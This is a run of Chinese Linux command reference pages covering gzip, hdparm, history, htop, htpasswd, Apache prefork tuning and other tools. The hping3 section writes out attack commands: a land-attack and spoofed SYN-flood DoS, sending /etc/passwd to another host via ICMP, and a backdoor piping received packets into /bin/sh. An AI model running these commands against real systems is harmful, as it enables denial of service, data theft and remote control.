把test6目录下的每个文件压缩成.gz文件

```
gzip *
```

把上例中每个压缩的文件解压,并列出详细的信息

```
gzip -dv *
```

详细显示例1中每个压缩的文件的信息,并不解压

```
gzip -l *
```

压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz

```
gzip -r log.tar
```

递归的压缩目录

```
gzip -rv test6
```

这样,所有test下面的文件都变成了*.gz,目录依然存在只是目录里面的文件相应变成了*.gz.这就是压缩,和打包不同。因为是对目录操作,所以需要加上-r选项,这样也可以对子目录进行递归了。

递归地解压目录

```
gzip -dr test6
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
halt [OPTIONS...]

Halt the system.

     --help      Show this help
     --halt      Halt the machine
  -p --poweroff  Switch off the machine
     --reboot    Reboot the machine
  -f --force     Force immediate halt/power-off/reboot
  -w --wtmp-only Don't halt/power-off/reboot, just write wtmp record
  -d --no-wtmp   Don't write wtmp record
     --no-wall   Don't send wall message before halt/power-off/reboot
```


```bash
# halt

# Power off or reboot the machine.

# Power the machine off:
  halt

# Reboot the machine:
  halt --reboot

```


!!简介
:<div>
hdparm
===

显示与设定硬盘的参数

</div>

!! 补充说明

:<div>


"hdparm命令" 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。

</div>

!! 语法  

:<div>


```
hdparm(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定;
-A<0或1>:启动或关闭读取文件时的快取功能;
-c<I/O模式>:设定IDE32位I/O模式;
-C:检测IDE硬盘的电源管理模式;
-d<0或1>:设定磁盘的DMA模式;
-f:将内存缓冲区的数据写入硬盘,并清楚缓冲区;
-g:显示硬盘的磁轨,磁头,磁区等参数;
-h:显示帮助;
-i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供;
-I:直接读取硬盘所提供的硬件规格信息;
-k<0或1>:重设硬盘时,保留-dmu参数的设定;
-K<0或1>:重设硬盘时,保留-APSWXZ参数的设定;
-m<磁区数>:设定硬盘多重分区存取的分区数;
-n<0或1>:忽略硬盘写入时所发生的错误;
-p<PIO模式>:设定硬盘的PIO模式;
-P<磁区数>:设定硬盘内部快取的分区数;
-q:在执行后续的参数时,不在屏幕上显示任何信息;
-r<0或1>:设定硬盘的读写模式;
-S<时间>:设定硬盘进入省电模式前的等待时间;
-t;评估硬盘的读取效率;
-T:平谷硬盘快取的读取效率;
-u<0或1>:在硬盘存取时,允许其他中断要求同时执行;
-v:显示硬盘的相关设定;
-w<0或1>:设定硬盘的写入快取;
-X<传输模式>:设定硬盘的传输模式;
-y:使IDE硬盘进入省电模式;
-Y:使IDE硬盘进入睡眠模式;
-Z:关闭某些Seagate硬盘的自动省电功能。
```

</div>

!! 参数  

:<div>


设备文件:指定id驱动对应的设备文件名。

</div>

!! 实例  

:<div>


显示硬盘的相关设置:

```
hdparm /dev/sda
/dev/sda:
IO_support = 0 (default 16-bit)
readonly = 0 (off)
readahead = 256 (on)
geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]

```

显示硬盘的柱面、磁头、扇区数:

```
hdparm -g /dev/sda
/dev/sda:
geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]
```

测试硬盘的读取速度:

```
hdparm -T /dev/sda
/dev/sda:
 Timing cached reads:   4684 MB in  2.00 seconds = 2342.92 MB/sec
```

测试硬盘缓存的读取速度:

```
hdparm -T /dev/xvda
/dev/xvda:
Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec

```

检测硬盘的电源管理模式:

```
hdparm -C /dev/sda
/dev/sda:
drive state is: standby [省电模式]
```

查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率:

```
hdparm -m /dev/sda
hdparm -m    #参数值为整数值如8 /dev/sda
```

 "附:硬盘坏道修复方法" 

```
检查:smartctl -l selftest /dev/sda
卸载:umount /dev/sda*
修复:badblocks /dev/sda
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!选项
    * -n数字:指定显示头部内容的行数;
    * -c字符数:指定显示头部内容的字符数;
    * -v:总是显示文件名的头信息;
    * -q:不显示文件名的头信息。
!!简介
:<div>
help
===

显示帮助信息

</div>

!! 补充说明

:<div>


"help命令" 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。

</div>

!! 语法  

:<div>


```
help(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-s:输出短格式的帮助信息。仅包括命令格式。
```

</div>

!! 参数  

:<div>


内部命令:指定需要显示帮助信息的shell内部命令。

</div>

!! 实例  

:<div>


使用help命令显示shell内部shopt命令的帮助信息,输入如下命令:

```
help shopt                #获取shopt命令的帮助信息
shopt: shopt [-pqsu] [-o long-option] optname [optname...]
    Toggle the values of variables controlling optional behavior.
    The -s flag means to enable (set) each OPTNAME; the -u flag
    unsets each OPTNAME.  The -q flag suppresses output; the exit
    status indicates whether each OPTNAME is set or unset.  The -o
    option restricts the OPTNAMEs to those defined for use with
    `set -o'.  With no options, or with the -p option, a list of all
    settable options is displayed, with an indication of whether or
    not each is set.
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* [[hexdump]] # 查看win下文本的格式
    ** win 0a0d
    ** linux 0a
    ** 0d 回车 - 同行,行位到行首
    ** 0a 换行 - 换到下一行
    ** 选项
        *** -c 查看16进制

''hexdump''命令一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。

!语法

`hexdump [选项] [文件]...`

!选项
```
-n length 只格式化输入文件的前length个字节。
-C 输出规范的十六进制和ASCII码。
-b 单字节八进制显示。
-c 单字节字符显示。
-d 双字节十进制显示。
-o 双字节八进制显示。
-x 双字节十六进制显示。
-s 从偏移量开始输出。
-e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'。
```
每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如:

```
%02d:两位十进制
%03x:三位十六进制
%02o:两位八进制
%c:单个字符等
```
!特殊的用法:

%_ad:标记下一个输出字节的序号,用十进制表示。
%_ax:标记下一个输出字节的序号,用十六进制表示。
%_ao:标记下一个输出字节的序号,用八进制表示。
%_p:对不能以常规字符显示的用 . 代替。
同一行如果要显示多个格式字符串,则可以跟多个-e选项。

!实例
<pre>

```
hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' test
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  |  ................  
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F  |  ................  
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F  |   !"#$%&'()*+,-./ 
```
</pre>
!!02. 选项

:<div>

|!参数|!描述|
|-p  |把参数当作命令执行 , 单并不记录.  |
|-s  |将参数作为单独记录写到命令缓冲区,但不执行|
|-c  |清空当前历史命令;                |
|-a  |将历史命令缓冲区中命令写入历史命令|
|-r  |读历史文件附加到历史命令缓冲区中  |
|-w  |将当前历史命令缓冲区命令写入历史命|
|-d  |清空第N条记录                     |
|-n  |读历史文件中未读过的行到历史命令缓|
|-r  |读取历史文件到当前历史命令缓冲区中|


</div>

!!03. 快捷方式
:<div>

```bash
!number                    # 再次执行在history里记录number编号的命令
!!                          # 执行刚刚执行的命令
!-1                         # 同上
ctrl-p                      # 同上
!:0                         # 执行上一次命令,忽略参数
!word                       # 搜索历史中最近的以word开始的命令并执行
!?word                      # 搜索包含word的
!$:p                        # 打印并输入上一个命令的最后一个参数
!*                          # 打印并输入上一个命令的所有参数
```
</div>

!! 04. 环境变量
:<div>

```bash
historytime                 # 记录命令执行时间
historyignor                # 忽略敏感命令
HISTIGNORE="str1:str2:..."  # 忽略string1,string2历史
historycontrol              # 命令记录控制
      =ignoredups           # 忽略重复
      =ignorespace          # 忽略空格开头的命令
      =ignoreboth           # 全忽略
      =erasedups            # 删除重复 
HISTSIZE                    # shell进程的缓冲区保留的历史命令的条数;  默认均为1000;
HISTFILESIZE                # 命令历史文件可保存的历史命令的条数;  默认均为1000;
$HISTFILE                   # 存放当前用户的命令历史文件 ~/.bash_history
```
</div>





!! 05. EXP:
:<div>

```bash
echo 'HISTTIMEFORMAT="%F %T #:# `whoami` #:# " ' >> /etc/bashrc
```
</div>
!简介

```
host命令是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。
```


! 选项

```
-a:显示详细的DNS信息;
-c<类型>:指定查询类型,默认值为“IN“;
-C:查询指定主机的完整的SOA记录;
-r:在查询域名时,不使用递归的查询方式;
-t<类型>:指定查询的域名信息类型;
-v:显示指令执行的详细信息;
-w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答;
-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令;
-4:使用IPv4;
-6:使用IPv6.
```

!示例

```
host <domain_name> <dns_server>
```

!!简介
:<div>
hostid
===

用来打印当前主机的数字化标识

</div>

!! 补充说明

:<div>


"hostid命令" 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。

</div>

!! 语法  

:<div>


```
hostid
```

</div>

!! 选项  

:<div>


```
--help:显示帮助信息;
--version:显示版本信息。
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# hostid
007f0100
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!centos6
:<div>

```bash
function set-hostname(){
    hn=`hostname`
    new_hostname=$1
    sed -ie "s/HOSTNAME.*/HOSTNAME=${new_hostname}/g"
    sed -ie "s/(^127.*)/\1 ${new_hostname}/g" /etc/hosts
    sed -ie "s/(^::1.*)/\1 ${new_hostname}/g " /etc/hosts
    hostname ${new_hostname}
}
```
<div>

!!简介
:<div>
hping3
===

测试网络及主机的安全

</div>

!! 补充说明

:<div>


"hping" 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

</div>

!! 安装  

:<div>


```
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
```

</div>

!! 选项  

:<div>


```
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
```

</div>

!! Hping3功能  

:<div>


Hping3主要有以下典型功能应用:

</div>

!!#  防火墙测试  

:<div>


使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

```
hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
```

</div>

!!# 端口扫描  

:<div>


Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

```
hping3 -I eth0  -S 192.168.10.1 -p 80
```

其中`-I eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口。

hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

</div>

!!# Idle扫描  

:<div>


Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

</div>

!!# 拒绝服务攻击  

:<div>


使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

```
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
```

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

</div>

!!# 文件传输  

:<div>


Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

```
hping3 192.168.1.159--listen signature --safe  --icmp
```

监听ICMP包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件:

```
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
```

将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

</div>

!!# 木马功能  

:<div>


如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:

```
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
```

在远程控制端:

```
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
```

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
htdigest
===

Apache服务器内置工具

</div>

!! 补充说明

:<div>


"htdigest命令" 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。

</div>

!! 语法  

:<div>


```
htdigest(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:创建密码文件。
```

</div>

!! 参数  

:<div>


*   密码文件:指定要创建或更新的密码文件;
*   域:指定用户名所属的域;
*   用户名:要创建或者更新的用户名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
htop
===

[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况。

</div>

!! 补充说明

:<div>


htop命令 是Linux系统中的一个互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses。

与Linux传统的top相比,htop更加人性化。它可让用户交互式操作,支持颜色主题,可横向或纵向滚动浏览进程列表,并支持鼠标操作。

与top相比,htop有以下优点:

- 可以横向或纵向滚动浏览进程列表,以便看到所有的进程和完整的命令行。
- 在启动上,比top 更快。
- 杀进程时不需要输入进程号。
- htop 支持鼠标操作。
- 两者相比起来,top比较繁琐。

top缺点:

- 只支持键盘操作。
- 显示也单调。

htop 官网:http://htop.sourceforge.net/

</div>

!! 语法  

:<div>


```
htop
```

</div>

!! 参数

:<div>


```
-C --no-color               使用单色配色方案
-d --delay=DELAY            设置更新之间的延迟,在十秒
-s --sort-key=COLUMN        纵列排序(try --sort-key=help for a list)
-u --user=USERNAME          只显示一个指定用户的进程
-p --pid=PID,[,PID,PID...]  只显示给用户
-h --help                   打印此命令帮助
-v --version                打印版本信息
```

</div>

!! 选项  

:<div>


```
h,?     F1:查看htop使用说明
S       F2:设置
/       F3:搜索进程
\       F4:过滤器,按关键字搜索
t       F5:显示树形结构
<,>     F6:选择排序方式
[       F7:减少nice值,这样就可以提高对应进程的优先级
]       F8:增加nice值,这样可以降低对应进程的优先级
k       F9:杀掉选中的进程
q       F10:退出htop


/ : 搜索字符
h : 显示帮助
l : 显示进程打开的文件: 如果安装了lsof,按此键可以显示进程所打开的文件
u : 显示所有用户,并可以选择某一特定用户的进程
U : 取消标记所有的进程
s : 将调用strace追踪进程的系统调用
t : 显示树形结构

H:显示/隐藏用户线程
I:倒转排序顺序
K:显示/隐藏内核线程    
M:按内存占用排序
P:按CPU排序    
T:按运行时间排序

上下键或PgUP, PgDn : 移动选中进程  
左右键或Home, End : 移动列表  
Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程,例如 "kill",将应用于所有已标记的进程  

```


</div>

!! Htop设定

:<div>


鼠标点击Setup或者按下F2 之后进入htop 设定的页面

</div>

!!# 1. Meters

:<div>


设定顶端的 显示信息,分为左右两侧,Left column 表示左侧的显示的信息,Right column表示右侧显示的信息,如果要新加选项,可以选择Available meters添加,F5新增到上方左侧,F6新增到上方右侧。Left column和Right column下面的选项,可以选定信息的显示方式,有LED、Bar(进度条)、Text(文本模式),可以根据个人喜好进行设置

</div>

!!# 2. Display options

:<div>


选择要显示的内容,按空格 x表示显示,选择完后,按F10保存

</div>

!!# 3. Colors

:<div>


设定界面以什么颜色来显示,个人认为用处不大,各人喜好不同

</div>

!!# 4. Colums

:<div>


作用是增加或取消要显示的各项内容,选择后F7(向上移动)、F8(向下移动)、F9(取消显示、F10(保存更改))此处增加了PPID、PGRP,根据各人需求,显示那些信息。

"F3 搜索进程"

在界面下按F3或直接输入”/”就可以直接进入搜索模式,是按照进程名进行搜索的,搜索到的进程会用设定的颜色标记出来,方便查看。

"F4:过滤器"

相当于模糊查找,不区分大小写,下方输入要搜索的内容后,则界面只显示搜索到的内容,更加方便查看

"F5:以树形方式显示"


"F6:排序方式"

按下F6后会跳转至以树形方式显示界面,让您选择以什么方式进行排序,在Sort by下选择您要以什么来排序

"F7,F8:调整进程nice值"

F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选择某一进程,按F7或F8来增大或减小nice值,nice值范围为-20-19


"F9:杀死进程"

选择某一进程按F9即可杀死此进程,很方便

"F10:退出htop"


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
htpasswd
===

apache服务器创建密码认证文件

</div>

!! 补充说明

:<div>


"htpasswd命令" 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。

</div>

!! 语法  

:<div>


</div>

!! htpasswd(选项)(参数)  

:<div>


</div>

!! 选项  

:<div>


```
-c:创建一个加密文件;
-n:不更新加密文件,只将加密后的用户名密码显示在屏幕上;
-m:默认采用MD5算法对密码进行加密;
-d:采用CRYPT算法对密码进行加密;
-p:不对密码进行进行加密,即明文密码;
-s:采用SHA算法对密码进行加密;
-b:在命令行中一并输入用户名和密码而不是根据提示输入密码;
-D:删除指定的用户。
```

</div>

!! 参数  

:<div>


*   用户:要创建或者更新密码的用户名;
*   密码:用户的新密码。

</div>

!! 实例  

:<div>


 "利用htpasswd命令添加用户" 

```
htpasswd -bc .passwd www.jsdig.com php
```

在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式。

 "在原有密码文件中增加下一个用户" 

```
htpasswd -b .passwd Jack 123456
```

去掉`-c`选项,即可在第一个用户之后添加第二个用户,依此类推。

 "不更新密码文件,只显示加密后的用户名和密码" 

```
htpasswd -nb Jack 123456
```

不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码。

 "利用htpasswd命令删除用户名和密码" 

```
htpasswd -D .passwd Jack
```

 "利用htpasswd命令修改密码" 

```
htpasswd -D .passwd Jack
htpasswd -b .passwd Jack 123456
```

即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!一、prefork 模型是一个进程服务响应一个用户请求
:<div>
 
;启动httpd服务
:<div>

```bash
[root@stu13 httpd-2.4]# ./bin/apachectl start
[root@stu13 httpd-2.4]# pstree | grep httpd
     |-httpd---5*[httpd]

#查看httpd工作的MPM
[root@stu13 httpd-2.4]# ./bin/httpd -M | grep mpm
 mpm_prefork_module (shared)

#5个空闲进程由父进程进程(该进程的所有者root)fork()而来
#主进程管理子进程,如:回收子进程、创建子进程等。
#子进程响应用户访问请求

#根据IfModule mpm_prefork_module指令定义的参数维护进程池中的进程。

#初始进程10, 并发请求量100.
#立即响应10个请求 , 父进程fock90个进程 , 响应剩下的进程.
# 响应完毕后 , 复用进程响应后续请求
```
</div>

根据后续用户的并发用户数目有三种情况:

;(1)、后续的并发用户数小于10的话:
:<div>

kill 空闲进程, 保留预定义数量的空闲进程。

```
最小空闲进程数为:5( MinSpareServers 5)、
最大空闲进程数为:10(MaxSpareServers  10)
```
</div>
;(2)、后续的并发用户数大于10而小于150的话:

:<div>

响应100个并发用户连接请求的进程都得到了重用。

为了清理内存垃圾, 会话管理机制会自动清理掉一些进程然后再fock .

httpd 2.2 版本和httpd 2.4版本的设置如下:

```
httpd 2.2     MaxRequestsPerChild    4000
httpd 2.4     MaxConnectionsPerChild   0
```

</div>
;(3)、后续的并发用户请求数大于150的话;

:<div>

有可能会出现连接请求超时的情况。

;调大缓存:

```bash
[root@stu13 ~]# cat /proc/sys/net/ipv4/tcp_mem
46368   61824   92736
[root@stu13 ~]# cat /proc/sys/net/ipv4/tcp_rmem
4096    87380   1978368
[root@stu13 ~]# cat /proc/sys/net/ipv4/tcp_wmem
4096    16384   1978368
```
调大并发用户数量,httpd 2.2 与 httpd 2.4中定义如下:

```
httpd 2.2     MaxClients             300  
httpd 2.4     MaxRequestWorkers      150
```

</div>

;prefork模型的配置如下:
:<div>

```bash
<IfModule mpm_prefork_module>
    StartServers             5      #服务器启动时就fork()出5个进程,等待用户连接请求
    MinSpareServers          5      #服务器在等待客户端连接请求的最小空闲进程数。
    MaxSpareServers         10      #服务器在等待客户端连接请求的最大空闲进程数。
    MaxRequestWorkers      150      #允许最大的用户并发请求数。
    MaxConnectionsPerChild   0      #在进程的生命周期内,它可以服务多少个请求。
</IfModule>
```
</div>

;httpd服务器所有进程占据的常驻物理内存集约为:10M.

;对该httpd进行压力测试,并发用户数为:100,共发起3000个请求。暂停2秒。共测试40次。httpd服务器常驻内存集大小为:24675,约为:24M.

;优缺点
:资源独享,所以稳定。
:PID不断发生变化,难以控制。

;prefork 工作模式理论上并发能力上限为:1024。

</div>
```
用法:
 hwclock [功能] [选项...]

功能:
 -h, --help           显示此帮助并退出
 -r, --show           读取硬件时钟并打印结果
     --set            将 RTC 设置为 --date 指定的时间
 -s, --hctosys        从硬件时钟设置系统时间
 -w, --systohc        从当前系统时间设置硬件时钟
     --systz          基于当前时区设置系统时间
     --adjust         根据自上次时钟设置或调整后的系统漂移
                        来调整 RTC
 -c, --compare        定期将系统时钟与 CMOS 时钟相比较
     --getepoch       打印内核的硬件时钟纪元(epoch)值
     --setepoch       将内核的硬件时钟纪元(epoch)值设置为
                        --epoch 选项指定的值
     --predict        预测 --date 选项所指定时刻读取到的 RTC 值
 -V, --version        显示版本信息并退出

选项:
 -u, --utc            硬件时钟保持为 UTC 时间
     --localtime      硬件时钟保持为本地时间
 -f, --rtc <文件>     代替默认文件的特殊 /dev/... 文件
     --directisa      直接访问 ISA 总线,而非 /dev/rtc
     --badyear        忽略  RTC 年份(由于 BIOS 损坏)
     --date <时间>    指定要设置的硬件时钟时间
     --epoch <年>     指定作为硬件纪元(epoch)值起始的年份
     --noadjfile      不访问 /etc/adjtime;需要使用 --utc 或 --localtime 选项
     --adjfile <文件> 指定调整文件的路径;
                        默认为 /etc/adjtime
     --test           不更新,只显示将进行什么操作
 -D, --debug          调试模式

```


```bash
# hwclock

# Used for reading or changing the hardware clock. Usually requires root.

# Display the current time as reported by the hardware clock:
  hwclock

# Write the current software clock time to the hardware clock (sometimes used during system setup):
  hwclock --systohc

# Write the current hardware clock time to the software clock:
  hwclock --hctosys


#设置硬件时间要依赖于操作系统时间,具体方法如下:

hwclock –systohc
hwclock --systohc –-utc


#不加任何参数使用hwclock,可以查看当前的硬件日期和时间。

hwclock


#查看clock文件,确认是否设置了UTC:

cat /etc/default/rcS 
UTC=yes


#在其他一些版本的Linux(如RebHat)中可以这样查看:

cat /etc/sysconfig/clock
ZONE="America/Los_Angeles"
UTC=false
ARC=false

```
''ICMP''是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
* EXP <pre>



```bash
# 转码
iconv -f gb2312 win.txt
iconv -f gb2312 win.txt -o linux.txt

```

</pre>
* `id [OPTION]... [USER]`
        ** -u: 显示UID
        ** -g: 显示GID
        ** -G: 显示用户所属的组的ID
        ** -n: 显示名称,需配合ugG 使用
```
if: if COMMANDS; then COMMANDS; [ elif COMMANDS; then COMMANDS; ]... [ else COMMANDS; ] fi
    Execute commands based on conditional.

    The `if COMMANDS' list is executed.  If its exit status is zero, then the
    `then COMMANDS' list is executed.  Otherwise, each `elif COMMANDS' list is
    executed in turn, and if its exit status is zero, the corresponding
    `then COMMANDS' list is executed and the if command completes.  Otherwise,
    the `else COMMANDS' list is executed, if present.  The exit status of the
    entire construct is the exit status of the last command executed, or zero
    if no condition tested true.

    Exit Status:
    Returns the status of the last command executed.
```

```bash
mkdir /tmp/d1


if `ls d1`;then cd d1; fi ;pwd;cd /tmp

if ls d1 
then 
    cd d1
fi
cd /tmp

rm /tmp/d1 ;mkdir /tmp/d2
if `ls d1`;then cd d1; elif `ls d2` ;then cd d2 ;fi


```


shell 判断文件夹或文件是否存在
文件夹不存在则创建

```bash
if [ ! -d "/data/" ];then
    mkdir /data
else
    echo "文件夹已经存在"
fi
```

文件存在则删除

```bash
if [ ! -f "/data/filename" ];then
    echo "文件不存在"
else
    rm -f /data/filename
fi
```
判断文件夹是否存在

if [ -d "/data/" ];then
